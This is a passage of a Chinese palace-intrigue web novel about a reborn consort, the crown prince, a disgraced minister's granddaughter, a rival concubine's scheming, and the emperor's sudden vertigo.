否则裴皇后昨天就该找祖母和娘,以及她说话了,又怎会让她们轻易出宫。
这么想着,高若漪似乎又没那么慌了。
打算回屋补补觉。
然而没等她进卧房,前院的一个丫头跑来传话,说老爷和大爷请姑娘过去。
现今高家还是高敬璋当家,老爷自然指他,大爷则是高若漪之父高墉。
“老爷跟大爷不是一早就出府当差了吗?怎的这时候家来了?”
大丫鬟云棠问道。
小丫头:“云棠姐姐,奴婢也不知,奴婢只是来传话的,大爷吩咐了请姑娘快些过去,大奶奶也去了。”
云棠看向自家主子。
刚准备说话,哪知竟见她家姑娘脸白得吓人,甚至身子都在抖!
云棠一惊。
忙一把搀着人道:“姑娘!姑娘您怎么了?奴婢这就叫人请大夫去!”
说着要扬声叫人。
被她家主子拽住衣袖制止了。
“走,走吧。”
高若漪做了好几个深呼吸,平复了些许,她挺直腰杆看似镇定地出了门。
到了前院正堂。
北面上首处分左右坐着高敬璋老两口,高墉夫妻坐在左下首处的位置。
四人皆面色沉凝。
除了高敬璋与高若漪的母亲林大奶奶,其他两人脸上都隐隐带着怒意。
“孙女拜见祖父、祖母……”
“行了。”
高敬璋搁下茶盏打断孙女的问安。
高若漪白着脸站直身。
高墉“腾”地站起来。
指着女儿,气得手指头直抖。
“你、你可真出息!堂堂首辅的孙女,却干出私藏外男贴身用物这种事!你怎么这么不知羞!这么不知廉耻!”
“藏了也就藏了,你它妈拿出来显摆!显摆也就算了,你、你让一个出身学识都不如你的良娣给诈了!”
“你知道陛下是怎么骂你祖父,骂你爹我的吗?!你祖父七十多的人了,在御书房门前跪了半个时辰!”
“现在满宫都知道高首辅的孙女私藏太子用物了!我们高家的脸让你丢尽了!你高兴了?你满意了?!”
高墉骂了一连串气儿不带换的,骂完了才大喘着,胸膛剧烈起伏着。
高若漪面若金纸,不敢相信自己听到了什么,“陛下、陛下知道了……”
陛下为什么会知道?
是裴皇后告诉的,还是宋氏告诉了太子,太子把事情捅到陛下面前了?
“你以为呢!”
高墉怒道。
“你都把东西甩到良娣面前了,都承认那是你私藏的了!坤和宫的人都记录在册了,陛下会不知道?!”
又和她想的不一样。
高若漪摇摇欲坠,袖下的手打着颤,嘴唇打着颤,眼泪顷刻间流了满脸。
就算元隆帝知道了,也该看在祖父的面子上把消息压下来啊,为什么会……
“你糊涂啊……”
林大奶奶垂着泪,心疼叹道。
高若漪的祖母薛老太没好气道:“早先我就让你把她送到我那边去养,你偏是不听,你要自己养。
结果怎么着?小小年纪就知道藏男人用过的东西,还捅出祸来了!”
薛老太还想再说什么,被高敬璋抬手打断了。
“看你这意思,是想去东宫?”老爷子看着颤颤巍巍的孙女,问道。
高若漪泪眼婆娑地看着祖父,虽什么也没说,但高敬璋又岂会看不出。
“不可能,打消这个念头吧。”
高若漪掐紧手心,“为什么……”
高敬璋:“因为我是首辅,是臣,臣食君俸禄必当分君之忧,忠君之事。
陛下需得用到我这个臣子,我脑干涂地在所不辞,陛下用不到我,我便什么也不会做,不能做,你明白吗?”
高若漪明白了。
所以不是祖父不让她入东宫,是陛下不让,亦或是太子也不让。
可是为什么?
祖父是首辅啊。
若说前几年元隆帝猜忌东宫,要防止东宫势力壮大,所以才给太子赐了门那样的婚事。
可她听说太子如今在元隆帝那儿复宠了,裴皇后和太子难道没想过趁机拉拢祖父,给东宫增添势力吗?
元隆帝以前那么宠太子。
现今又那般宠那个庶长孙,按理他应该让祖父成为东宫一脉的助力才对啊。
为什么不让她入东宫?
高敬璋看出了孙女不解,摇摇头叹了口气,却是没有再做过多解释。
“临江府新喻县有一寒门,秀才举人各一,举人为兄,年二十有二。
也是年少有为,且为无党无派之人。
我准备请人去信与其议亲,你即日起就不要外出了,准备准备嫁过去吧。”
第194章 太子穿旧衣纪念往事?
陛下最是在意体面。
他乃先帝任命的首辅,又侍候了陛下多年,替陛下背了这么多年的骂名。
也做了那么多事,有功劳也有苦劳。
高敬璋知道。
陛下就是不用他了,也不会将他们家赶尽杀绝,会赐恩于他的子孙们。
他会替若漪打点好今后的一切,又有陛下施恩,那举人不敢对若漪如何。
往后即便那举子有幸高中。
要学那负心薄幸的做派,以他给若漪留的后路,也足以保其安稳度过余生。
高敬璋心有衡量。
高若漪却是觉一记惊雷劈头盖脸。
她堂堂首辅的嫡亲孙女,竟沦落到了要嫁外地寒门举人的地步?
因为她私藏了太子帕子?因为她与宋氏交锋落了下风,着了对方的道?
所以元隆帝就罚她低嫁?
高若漪难以置信,哭着跪到祖父面前。
“祖父,我不要远嫁,不要嫁给举人,求您了祖父,您跟陛下说说情吧……”
她只是藏了帕子,又没给太子招祸。
明明就罪不至此啊!
再说喜欢一个人又没错,大不了她不入东宫就是了,为什么要让她低嫁!
等等。
是宋氏给太子吹了枕边风对不对?
她吹了枕边风,太子听了,所以元隆帝罚她低嫁其实是太子进言了!
高敬璋不知道孙女此时在想什么,但他大致能猜到小姑娘定是又想岔了。
他又叹了口气。
看看孙女头上的红宝簪花,看看她身上的贡品绸缎,最终摸了摸她的头。
“孙女啊,晚了。”
悟已往之不谏,知来者不可追。
咱爷俩,都晚了……
.
高墉说的“满宫都知道高首辅的孙女私藏太子用物”,其实不然。
也就在御书房伺候的宫人知道,元隆帝没让往外传,谁敢乱传御前的事呢。
所以元隆帝骂高敬璋父子的事以及高府发生的事,槛儿都不知道。
而太子历来不会拿别人的家事说嘴,加之槛儿没再关注这件事的后续。
因而此事便算揭过了。
晃眼到了四月十六。
曜哥儿满三个月,槛儿重生刚好一年。
她也是后知后觉发现两个日子竟撞到了一起,还忍不住感慨了一阵。
本来槛儿自己在心里感叹一句“时间过得真快”就算了,结果没曾想太子竟也记得去年的这一天。
槛儿起初不知道他记得。
只在他晚上过来时,觉得他身上的玉底绣行龙腾四海纹的袍子有点眼熟。
发冠也眼熟。
太子的常服与冠不少,且大多一套冠服都会有两三套与之相似的。
主要为防止宴席上或是某些特定场合脏了衣,又不能叫人察觉而备的。
槛儿对绣图有敏锐的辨知力。
她很确定去年那晚太子穿戴过的衣冠,过去一整年他没有穿戴第二次。
然后她稍稍一想。
想起来了。
合则是他初次临幸她未果那晚的行头!
所以太子这是何意?
穿旧衣纪念往事?
心里狐疑。
槛儿用膳时便看了太子好几眼。
骆峋忍了忍。
终究还是睇她一眼,道:“先用膳。”
横竖食不言的规矩已打破,加之桌边有个小家伙时不时就哦哦呀呀的。
太子爷如今也早破了例。
只他没什么正事时原就惜字如金,膳桌上打破规矩已是破了天荒,哪可能还真和人长篇大论地聊起来。
槛儿没从他一贯清冷的脸上看出什么,闻言也就没追问,先用完膳。
曜哥儿很好奇爹娘在打什么哑谜。
可惜他又没忍住膳食的诱惑,在口水哗啦之前,嗷呜着让奶娘把他抱走了。
膳罢去后方小花园消食。
曜哥儿被放到特制的小推车里,车里放着幼儿用的驱蚊虫药草包,上方则搭着一层挡蚊虫的纱帐。
银竹推着小车,与前头两位主子隔着四五丈远的距离稳当慢悠地走着。
初夏的风拂动假山旁的忍冬花,灌木丛中偶有一两声清脆虫鸣。
“殿下今日的衣裳好眼熟,发冠也是。”
槛儿故意摸摸太子的袖子,又仰头看看他的发冠,笑着打破沉寂。
骆峋垂眸睨她,一副“你继续”的神态。
槛儿忍着笑,稍作沉思后一脸恍然地拉着太子停下来,踮起脚凑到他耳边。
“去岁四月十六,妾身侍寝中途被打断的那晚,您穿的就是这件衣裳。”
骆峋耳根被她的气息撩得发痒。
他克制着动了动耳尖,牵住她的手继续往前走,若无其事道:“你记性倒好。”
槛儿捏捏他的指节。
小声道:“和殿下的重要日子呢,您伸手让妾身起来,哪知妾身腿麻了……”
经她一提,骆峋也想起来了。
他那晚提前服了药,尽管当时对她突然跌坐在他腿上这一行举并未反感。
但身体还是本能地在第一时间想将她扔出去,好在让他忍下来了。
之后嗅着她身上的香,再感受怀里的柔软娇躯,他的身体渐渐放松了下来,只彼时他还当是药效使然。
如今想来,他该是一开始便对与她亲近这件事不反感的,不过:“真麻了?”
骆峋侧首看身边之人,低低地问。
槛儿与他对视,红着脸不答反问:“您回忆回忆,我那时像假麻吗?”
不像。
骆峋记得那时她的小脸儿红得像似要滴血,眼里的泪急得几欲掉下来。
“嗯,麻得挺是时候。”
槛儿:“……”
说得好像腿麻她也能控制似的。
槛儿松开手不挽他了。
骆峋瞥眼手臂,再不着痕迹地侧目用余光往身后一众宫人的方向看了看。
随后不经意般往槛儿身旁挪了半步,手臂刚好碰到她的胳膊的程度。
“愈发放肆。”
说着放肆,清冷的嗓音语调倒是平和。
槛儿瞄他一眼,一副想笑又强忍着的模样道:“那也是您宠我,我才敢的,您若真恼,我能当场吓晕过去。”
“胡言乱语。”
骆峋道,手臂又状似无意碰了她一下。
槛儿顺势重新挽住他,轻声说:“您今天穿这一身,是穿给妾身看的吗?”
骆峋发现了。
她撒娇或是与他逗趣时便会自称妾,偶尔也可能是曾经的习惯使然。
“为何要穿给你看?”骆峋明知故问。
其实他一开始没想过这般装束,过于刻意,也显得他一个男人过分矫情。
但骆峋没忘她在庆昭帝怀里离世的模样,也记得庆昭帝的抱憾与心痛。
于是,他想记住和她一起的每一个重要日子,想让她欢喜,想不留遗憾。
只这些不能宣之于口。
槛儿怎会看不出太子在逗她,她噎了噎,然后矫揉造作地垂头做失落状。
“好吧,是妾身自作多情,殿下恕罪……”
骆峋:“……”
明知她是装的。
“嗯。”
槛儿抬头。
太子爷注视着她,神色瞧着很淡。
“穿与你看的。”
槛儿压了压唇角,没压住。
伸出小指勾勾男人的小指,被他勾住了,“那、妾身也要换去年那套衣裳吗?”
槛儿眼含戏谑道。
骆峋:“不必,不合适。”
他未曾对她的出身抱有任何想法,但也不会因此便不将她的过去当回事。
她艰难辛苦的过往,不该因现今日子好过,便成为他们之间的逗乐。
第195章 宋良娣与帝后,庆昭帝和元隆帝像个七成!
槛儿也只是随口一说,毕竟她去年的旧衣捐了,想不想穿都没有了。
太子没说具体不合适什么,槛儿便当他指的身份,于是顺势应下了。
抱着他的胳膊晃了晃。
“殿下记得那晚,真好。”
骆峋的嘴角不显地勾了一下。
曜哥儿在小车里打了个哈欠,啊呜一声小脑袋一偏,会周公去了。
两刻钟后,一行人回永煦院,路上在院门口遇上从外面回来的瑛姑姑。
瑛姑姑脸色不是很好。
被一个小宫女扶着,手里拎了包药,见到槛儿和太子忙打起精神行礼。
槛儿朝太子看了一眼。
知道主仆二人要说话,骆峋先带儿子回东厢。
等他陪了儿子一刻多钟后去了正房,就见槛儿坐在次间的炕上在出神。
“怎么?”骆峋问。
槛儿怔了怔,随即拉着他坐下。
“上个月瑛姑姑不是眩晕的老毛病犯了吗,您特许姑姑去太医院寻医。
原本医官开了方子用了半个月眼看着有好转了,谁知没过几天又犯了,她这两天动辄眼前发黑……”
当然不是。
瑛姑姑的眩晕并不严重。
吃了两副药之后便有所好转了。
只不过为了下个月能向太子引荐那位秦医吏,姑姑暂时不能被“治好”。
也是瑛姑姑做戏的功夫好。
方才她说实话前槛儿还以为姑姑的身子真出了什么问题,吓她一跳。
幸好没事。
也幸好姑姑找到了秦医吏这么一个人,且已经打探出了此人确实有些本事。
骆峋暂不知主仆二人的打算。
见槛儿为她那姑姑忧心忡忡,他宽慰道:“医官若不行,便找太医看。”
槛儿露出笑来:“谢谢殿下。”
骆峋拍拍她的手。
睡前等槛儿在妆台前涂涂抹抹得差不多了,太子爷一个眼神屏退海顺他们。
然后过来递给槛儿一个巴掌大的缎面盒。
槛儿疑惑地接过来打开一看,是一个甜白釉榴花桃形的胭脂罐。
槛儿欣喜地看向太子。
骆峋却是没有多作解释,冷着张俊脸转身出了暖阁往拔步床那边走。
槛儿看看那罐胭脂,笑着起身跟了过去。
.
四月二十六。
因着满月宴上曜哥儿的名儿赐了,玉牒上了,该见的人也都见过了。
加之淮安府那边刚遭了灾。
所以曜哥儿的百日宴便没办了。
只等到了傍晚,太子下值回来收拾妥帖后带着槛儿与曜哥儿去了坤和宫。
和帝后一道晚膳。
这也是两辈子里,槛儿头一回这般近距离正式地跟元隆帝打照面。
上辈子槛儿虽在成为良娣后,随郑明芷与曹良媛一道向元隆帝贺过寿。
但那都离得远远的,槛儿当时又恪守本分,连趁空偷瞄一眼都不曾。
每次家宴也是如此。
再后来太子登基,元隆帝已经驾崩了。
因而说起来两辈子槛儿第一次参加这种只有帝后一家三口的家宴,也是第一次不是在大殿里跪拜元隆帝。
随太子先行了礼,宫人拿来软垫,槛儿低眉敛目上前再行跪拜礼。
元隆帝也是头一回见儿子的这个妾。
倒确实是个颜色好的。
元隆帝在其垂着目抬头时认了认脸,随口让全仕财赏,又叫了起。
便没再管槛儿,叫奶娘把曜哥儿抱给他。
槛儿对元隆帝还是有些惧意的,不是她没出息,活了一把岁数还怕人。
而是元隆帝前世对太子做的种种事,让她暗怨的同时也畏惧对方的帝王之威。
加上她受封皇后之后,每年都要到祭拜这位公爹的牌位,牌位拜多了,难免给人一种心理上的压力。
起身后到裴皇后的下首处落座,槛儿借看儿子的当头暗暗打量了元隆帝一眼。
好家伙。
这一眼看得她的心突地一跳。
太像了。
晚年的庆昭帝简直和元隆帝像了七成!
剩下的三成不像,是庆昭帝相较而言五官与面部轮廓更精致,更俊美,通身那股雍容华贵的气质更显。
元隆帝则更粗犷,更偏向武将。
但还是太像了。
不愧是父子。
槛儿唏嘘地抚抚心口,不经意侧目,猝不及防对上一双熟悉的精致凤眼。
呃。
太子啥时候看过来的?
一家几口的膳,元隆帝惯是不喜分桌食。
但以槛儿的位份又决计不能和帝后同桌,可骆峋也不想她站着伺候。
于是折中了一下。
他便还是打算叫人将槛儿的膳摆去偏殿,如此她倒也不必因着在父皇跟前而太过紧张,致使饭都吃不好。
元隆帝看看儿子。
暗嗤了声,又看看怀里嗷呜哇啦的孙子。
嘴角抽了抽。
旋即头也没抬地道:“宋良娣把小皇孙养得好,就在这一桌赐膳吧。”
此言一出。
屋中之人包括槛儿在内,心头俱是一震。
要知道历来可没有皇子侧妃能与帝后同桌用膳的,正妃中也只有太子妃在这种私宴上能有这种特例。
这会儿陛下竟是允了宋良娣同席!
可要说违背祖制礼法又不尽然,毕竟陛下这般喜欢东宫大公子,宋良娣重视皇家血脉将大公子养得好。
再正当不过的理由了,御史来了也没得说!
这么想着,宫人们暗暗瞳孔震颤地将宋良娣的膳摆放到裴皇后的下首方。
裴皇后倒跟个没事人似的,拉着皇帝一起坐,又招呼儿子和宋良娣坐。
槛儿与太子礼节性行了行礼,在紫檀八仙桌的东西两侧分别落座。
元隆帝和裴皇后私下用膳没那么多讲究,该说话说话,该互相夹菜的夹菜。
时不时问儿子两句。
骆峋皆恭敬作答,半句多余的话也不曾有。
裴皇后也没冷落槛儿。
偶尔借孙子与槛儿聊上一两句。
曜哥儿被安放在摇车里,看看皇祖母皇祖父的方向,再看看娘的方向。
小家伙抱着小手,突然笑得好大声。
就是那种咯咯咯的。
小嘴儿咧着,眼睛笑成了眯缝,像是听了什么笑话笑得根本停不下来。
奶娘吓了一跳,还犹豫着小主子这算不算惊驾,她要不要跪下请罪啥的。
所幸她想多了。
元隆帝兴味十足地搁下筷子,长臂一伸把摇车给拉到了他和太子那边。
逗问胖孙在乐什么,胖孙当然不会答他,挥舞小手笑着要皇祖父抱。
元隆帝还真没见过哪个孙儿孙女精成这样,挽挽袖子将曜哥儿抱起来。
举到太子面前。
骆峋正要从父皇手中接过儿子,就听老头子说:“看你爹的冰疙瘩脸。”
骆峋:“……”
幸好槛儿定力够强,硬是忍住了笑。
裴皇后就没忍了,当场笑出了声。
曜哥儿也没忍。
踢着小脚扭动脖子咯咯笑地去看爹。
他爹面无表情地看着他。
元隆帝把孙子抱到膝上逗,他逗一句,曜哥儿就哦哦啊啊地回一句。
可把元隆帝给乐坏了,非让裴皇后和小家伙说话,看孙子会不会也回她。
曜哥儿也是很无奈了。
总不好厚此薄彼,于是哄完一个又哄另一个。
骆峋觉得儿子长大了可能是个话痨。
槛儿看着眼前的一家子,有种做梦的感觉,仿佛前世太子因元隆帝的猜忌而遭的那些罪只是她的臆想。
可槛儿知道不是。
那些都是真正发生过的。
她不清楚今生令元隆帝转性的契机是什么,但总归眼下的形势是好的。
膳后元隆帝留在坤和宫,骆峋带着槛儿与儿子回东宫的路上也没坐轿辇。
他抱着儿子,槛儿走在旁边戳小家伙胖脸蛋,“小人精,也不知随了谁。”
骆峋就看她。
槛儿眨眨眼,“殿下沉稳持重,肯定不是随了您,那就是随了妾身?”
骆峋如今也算是知道了。
早先她的本性该是一直被拘着,包括她的上辈子,庆昭帝也让她拘着了。
而今没有那般苦楚,她似乎也想得开。
本性就渐渐显露了出来。
时不时这般作怪,儿子定是随了她。
如此想着,骆峋直视前方。
“嗯,随你。”
槛儿:“……”
曜哥儿在他爹结实的臂弯睡得昏天黑地。
一行人出了内左门拐弯,后方远处的一道宫门后迅速闪过一抹内侍袍。
第196章 元隆帝遗言,“朕走后,太子继位……”
景祥宫,西配殿。
打发了报消息的小太监。
魏嫔阴恻恻地挤出一丝笑。
她的儿子被幽禁在逼仄的院子里,成日里守着碗口大的一方天吃苦受罪。
她的孙儿孙女们被圈在一个地方吃糠咽菜,寸步难行,姓裴的他们倒好。
儿子宠一个奴才出身的女人就罢,陛下竟也那么宠那个贱婢生的贱种!
一家子在一起用晚膳?
魏嫔在坤和宫安插的人手早被筛没了,她无从得知他们今晚用膳具体什么情况。
可她想都想得到。
那贱种出生当天陛下就去了东宫,那贱种满月时陛下还当着满朝文武大臣的面抱了他,还赐名曜?
呸!
姓裴的孙子也配!
所以今晚他们的这顿膳一定用得很温馨和谐,很高兴、很其乐融融吧?
从来都是这样。
不管他多宠她,给她多少赏赐。
不管她替他生了儿子女儿。
又有了多少孙子。
他从来都是把姓裴的放在第一位,从来都是把姓裴的生的放在第一位!
他们才是一家子。
才是真正的一家三口!
从来都是!
如今他又那么宠那个女人的孙子,一个贱种庶子他都能宠上天!
魏嫔不懂。
姓裴的不就是出身比她好吗,不就是跟他上过战场,出生入死过几回吗?
不就是没过两个孩子吗?
这后宫里的女人出身好的,流过孩子的女人又不止姓裴的一个。
单是她当贵妃时弄死的就不止一个,可怎么不见他那么对别人呢?
本朝上过战场的女人也多了去了,怎么就她姓裴的要比别人娇贵呢?
他要真那么在意那个女人,那就别纳妾,别跟其他女人生孩子,只跟她过啊!
敬重正妻?
简直就是笑话!
说白了不就是既管不住自己的下半身,又想通过女人牵制朝堂,同时还不想被外人说自己宠妾灭妻吗?
贱男人!
跟那么一个五大三粗的女人做夫妻。
他也不嫌恶心!
一家子贱种!
魏嫔的胸口剧烈起伏着。
“主子。”
大宫女砚棋进来,低声唤道。
魏嫔抬头。
砚棋被她眼里的阴狠吓得一时有些却步。
魏嫔没好气:“有事就说!”
砚棋定定神,到近前来声音压得更低:“西山坟场那边的事有眉目了。”
魏嫔精神一振,旋即声音小到近乎听不见:“找到尸体埋哪儿了?”
“找到了,只不过咱们要掩人耳目小心行事,别的事就得另外寻机会做。”
最后半句砚棋说得尤为小心,就怕魏嫔娘娘等不及,到时候弄得底下的人也毛手毛脚出岔子就不妙了。
魏嫔看出她的顾虑,冷嗤一声。
“瞧你那点儿出息,我不知道要小心行事?”
砚棋嘿嘿赔笑。
魏嫔:“行了,事情急也要一步步来,你交代下去,万寿节之前把事办好就成。”
砚棋领命告退。
魏嫔将砚书招到跟前,“另一事进展得如何?就那个傻子,是傻子吧?”
“是,那傻子是个不中用的。”
砚书低声答道。
“但他妻子跟他家老子娘,按咱们的人这段时间的观察来看,该是可用的。”
魏嫔勾起唇角,“那就安排下去,等西山那边的事办得差不多了,再……”
等着瞧。
她要让东宫万劫不复!
.
曜哥儿百日一过,宫里的端午气氛渐渐浓了起来,各宫门悬艾虎插菖蒲。
前朝各殿还贴了天师骑艾虎的绢画,后宫四处贴上了五毒花卉的剪纸。
小福子他们身上的内侍服换上了五毒的补子,跳珠她们也戴上了五毒香囊,五毒绢花、簪花什么的。
槛儿卧房内的拔步床四个角上,周嬷嬷她们张罗着挂上了菖蒲小狮子。
就是拿菖蒲根雕成小狮子模样,用红黄青三色丝线穿起来悬在床帐上。
据说有杀虫避邪的作用。
避不避邪不清楚,反正菖蒲能杀虫。
槛儿给曜哥儿做了两个塞了艾绒的老虎小布偶,小家伙爱不释手。
玩着玩着张嘴就啃上了,被奶娘制止后他一张小脸红得跟煮熟的虾似的。
都以为他要哭了。
谁知小东西抱着小老虎吭哧着翻了个身,背对着槛儿她们这些大人。
就像是在为奶娘不让他啃老虎赌气似的,逗得槛儿又说他小人精。
殊不知曜哥儿虽的确在赌气,却哪里是在跟奶娘赌气,而是在和自己赌。
大抵要长牙了,他最近时不时便觉嘴里痒痒的,本能地想啃点儿啥东西。
有时候他没反应过来,嘴已经啃上了。
曜哥儿臊得不轻。
就和自己较上劲儿了。
进入五月,天一下子热了起来。
有秀女进了京。
但因着人员不齐、身份暂未核验等原因,众人暂被安置在驿站、官署等地。
宫里则上下都在忙着帝后带群臣女眷,去西苑过端午的相关事宜。
虽说槛儿知道元隆帝在这两天会突发急症,但她多少还是希望能走运。
便想着打她重活回来,很多事都不一样了,没准儿这件事也不会发生呢。
多一事不如少一事。
多好。
然而事实证明,槛儿这回是想多了。
五月初四一早。
眼看早朝结束,全仕财喊了“散朝”,元隆帝像往常一样从龙椅上站起来。
哪知就在转身的瞬间。
他忽觉脑中“轰”一声。
随即不待他反应,眼前一阵天旋地转,下一刻人就重重朝地上栽去!
“陛下!”
全仕财惊呼,忙不迭箭步上前接人。
可惜他离得远来不及。
眼见元隆帝就要摔到地上,下面的大臣们惊骇不已,却是不待他们惊呼。
一道杏黄身影宛若闪电眨眼间就闪现到了台阶上,将元隆帝稳稳扶住。
“父皇!”
元隆帝眼前阵阵发黑。
耳边的轰鸣让他几乎快听不清太子的声音,胃里翻江倒海的同时身若坠渊。
他这是要死了?
殿内乱作一团。
全仕财叫了人去请御医后便扑通跪到元隆帝跟前,内阁大臣赶上御前。
元隆帝紧攥住儿子的手。
另一只手颤抖不止地伸向首辅高敬璋、次辅沈仲山、阁老章怀逐等内阁要臣。
“朕走后,太子继位。”
“你们、你们当尽心辅佐……”
高敬璋等人皆神色惊痛。
元隆帝顾不上他们,急促地喘着气又对儿子道:“好好孝敬你母后……”
第197章 秀女进京,元隆帝无差别攻击
乾元殿,后寝殿内。
元隆帝躺在龙床之上,面无血色双目紧闭,额头上搭着一条温热的巾子。
裴皇后陪坐在靠床尾的凳子上。
骆峋站在她身侧。
稍顷。
柳院判收回把脉的手,起身到一侧和另几位御医低声交谈一阵后回来。
“禀殿下、娘娘,陛下虽暴眩仆倒。
然神志清明,无偏枯之状,臣等初步诊断乃肝风内动,痰湿上扰引发的急性眩晕,需以汤药并针灸治疗。”
裴皇后皱了皱眉,“陛下日里身子康健,怎么突然就有了这么一个病?”
柳院判:“回娘娘,肝开窍于目,久视伤血,肝无血养则肝风自动。
且时下暑热渐盛,陛下稍有风热之症,加之劳累过度颈椎劳损导致内耳缺血。
且怒动肝风也可致痰湿上扰,敢问娘娘,不知陛下近日可有动过怒?”
这个裴皇后倒是知道。
三月里淮安府清江浦决堤,慎王率一众人上个月二十几到当地展开调查。
加急的密报昨晚送到坤和宫的。
尽管案子还没调查结束。
但已经确定这次事情的根源就是高敬璋一流克扣工料,中饱私囊所致。
且据陛下所说。
当年修建水渠拢共是拨了近四十万两银子,从水渠完建到现在十二年间。
朝廷每年拨两万两银子的维护费,四万两的自然灾害防护、急救费用。
算下来这条渠投入了一百多万两银子,然而密报呈奏,这里面可能有一半都进了高敬璋一流的口袋。
尤其是他们孝敬高敬璋的那部分。
而经调查,这次水渠决堤的地方,便是早先维修时用板岩充作花岗岩的地方。
也因此昨晚陛下看到密报发了好大一通火,只可惜眼下证据还差些火候,处置高敬璋还得要一段时间。
“药需用几日,针需施几天?经此治疗此症可是能药到病除?”
骆峋问到关键处。
柳院判道:“此症需得养血护肝,陛下龙体至尊,当更慎重待之,预估少则需三七二十一日,多则一月。”
“且近几日需得静养,最好卧养。”
御医们下去开方子了。
全仕财出去安排人熬药。
元隆帝转醒,裴皇后坐在床前握住他的手,温声问:“您现在感觉如何?”
元隆帝看看妻子,再看看儿子。
御医方才的话他听到了。
不是要死,元隆帝自是暗暗松了口气。
能活着,谁想死呢。
可念及之前在大殿上说的那些遗言。
那些个臣子们倒没什么。
反正他们也不敢在他面前说什么,只要他没觉得窘,便不存在任何问题。
然而面对太子。
元隆帝的老脸多少有些绷不住。
以为自己要**,所以让他继位。
结果现在没死。
“……”
“父皇?”
父皇直直地盯着他,骆峋倒没想别的,还当父皇此举是病症的表现。
他的心不禁提了提,小心唤了一声。
元隆帝撑着榻想坐起来。
可惜刚支起身子眼前又一阵天旋地转,他不得已又躺回了床上。
缓了缓,许是身子着实不舒坦,那股面对儿子的尴尬感反倒消散了。
“算了,养就养吧,太子这几天暂时就不必去工部了,过来帮我批折子。”
骆峋恭声应下。
小太监在外间来禀说德妃娘娘、贤妃娘娘领着各宫主子们来看陛下了。
还有皇子公主们也在乾元殿外候着。
元隆帝单听着就觉得脑袋嗡嗡的,“叫他们先回,等朕舒坦些了再说。”
小太监下去传话了,裴皇后对儿子道:“你有事先去办,这里有御医和我。”
元隆帝也摆摆手。
骆峋从乾元殿出来。
没上朝也没在后宫,刚赶过来的宣王、简王齐声问道:“父皇如何了?”
骆峋言简意赅地将御医所说转述了一遍,宣王兄弟俩又齐齐松了口气。
骆峋:“父皇尚未恢复精神,老七安心当差,老八把心放回功课上,下午再过来。”
待两个弟弟结伴走了,骆峋先差人去工部打招呼,再折身去了内阁。
消息没有刻意隐瞒,后宫妃嫔知道了,其他地方自然也相继传开了。
小福子报了消息来,除了元隆帝抱恙的事,还有明日的端午宴取消的消息。
槛儿得知后暗暗叹了口气。
有种“果然还是来了”的明悟。
但还不到引出那位秦医吏的时候。
究其原因,元隆帝刚犯病,那么多御医在跟前候着,哪轮得到一个医吏出场。
若这时候她就向太子引荐秦医吏,会显得过于巧合轻率,难以让太子信服。
也容易让人起疑,非但不会让秦医吏得到重用,反而会让她被怀疑用心。
退一万步。
就算太子信她,向元隆帝举荐了秦医吏。
可元隆帝才刚开始治病。
还没到万不得已的时候。
太子该如何说服他,放着千挑万选的御医不用,而选择一个不入流的医吏呢?
别说元隆帝不会信,御医们会拼死劝阻,朝中大臣们知晓了也定会各种劝谏。
若真如此。
届时秦医吏会被怀疑来历,向太子引荐他的她会被质疑,太子也不能幸免。
而且本朝宫廷选拔医士有重北音,南士多艰的偏向,秦医吏刚好为岭南人。
岭南在朝官员本就处于弱势。
据槛儿所知,秦医吏便是因出身地和一口岭南口音在太医院遭受排挤。
这自然是不对的。
从本质上来讲就是一种霸凌。
可惜当下现实就是如此。
这种情况下,若非万不得已的时候,是决计不会有人把秦医吏当回事的。
所以一定要讲究时机。
要在元隆帝的病情发展到一定时候,槛儿再寻机引荐,才不至于显得刻意。
虽然这样会让元隆帝多遭一段时间的罪,太子也可能会在此期间挨骂。
朝臣肯定会有所猜测。
可跟贸然行动。
最后致使她和秦医吏以及太子被人怀疑攻讦,陷入困窘之地比起来。
这个安排明显更稳妥。
且槛儿记得,上辈子元隆帝久病不愈暴躁归暴躁,却没有下旨要过谁的命。
就连后来被莫院判和秦医吏治好之后,元隆帝也没对柳院判他们做什么。
据说是有裴皇后从旁劝解。
而朝堂上也因着有太子和几位肱骨大臣在,众人猜测归猜测却没出什么乱子。
所以要沉住气。
槛儿稳住心绪,就这么说服了自己。
也是她不知道太子对她的上辈子有所了解,若不然又将是另外的计划。
槛儿让小福子继续盯着外面的动向,也让瑛姑姑叮嘱了院里的人一番。
陛下龙体抱恙,底下的人不得过分嬉戏玩笑,也不得过于死气沉沉。
晚上太子过来。
槛儿也没越矩地询问元隆帝的详细病情,只恰如其分地宽慰道:“有上天庇佑,陛下一定会没事的。”
其实槛儿还在想太子会不会因着元隆帝的眩晕症而想到瑛姑姑的眩晕。
她也想好了说辞。
但好在太子似乎并没有想起瑛姑姑的事。
骆峋也的确没想起。
他现在的心思全放在了父皇身上,以及一整天接触的各种朝事上。
根本无暇去想一个姑姑生病这一茬,甚至没顾得上记起槛儿的“上辈子”,自然而然没联想到她的打算。
听着她温柔的声音,骆峋松了松紧抿的唇。
“嗯,不会有事的。”
.
元隆帝的病就这么暂先由御医们治着,太子要处理东宫的事,要批奏章、见朝臣,忙得没白天没黑夜的。
转眼到了五月下旬。
天气愈发酷热。
各地秀女尽数抵京,之后被安排到后宫专设的礼仪房开始学习规矩。
换成以前,这件事怎么着也会在宫里各个地方引起一阵不小的轰动。
譬如今年哪个地方来的秀女多,哪个地方的来得少,又都是什么样貌性情。
陛下可能给哪个皇子赐婚哪家闺秀,哪个王爷的后院可能添多少人。
诸如此类的问题。
私下里大家就当热闹看了,自是少不了议论。
然而今年,这件事注定不能成为谈资。
经过二十余天的诊治,元隆帝的病情非但不见好转,反而愈加严重了。
其具体表现为起初几天他虽偶有眩晕,腹中有呕意,但好歹躺着没事。
服了药,扎了针再歇息半个时辰,便能起来活动筋骨,处理一些政务。
然而初十那晚。
元隆帝睡到半夜翻身。
感觉脑袋忽地一沉,耳朵里有一刹那似被堵住,伴随一阵短促的嘶鸣。
元隆帝被惊醒,跟着扭头叫人。
岂料刚一转脑袋,顿时又一阵晕晕沉沉。
且耳朵里始终伴随有闷鸣之感,甚至即便就这么躺着人也感觉像在晃。
之后元隆帝被搀起来。
不待御医替其看诊,嘴里就不受控地喷射出秽物,到最后黄胆汁都吐出来了!
元隆帝周身被冷汗浸湿。
偏这还不是严重的。
严重的是不管他什么体位,一旦有转动头的动作元隆帝就又晕又吐。
更甚至完全站不住,一起来整个人就往地上栽,元隆帝根本控制不住。
这般状况,早先“肝风内动痰湿上扰引起的眩晕”这个说法就有待商
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榷。
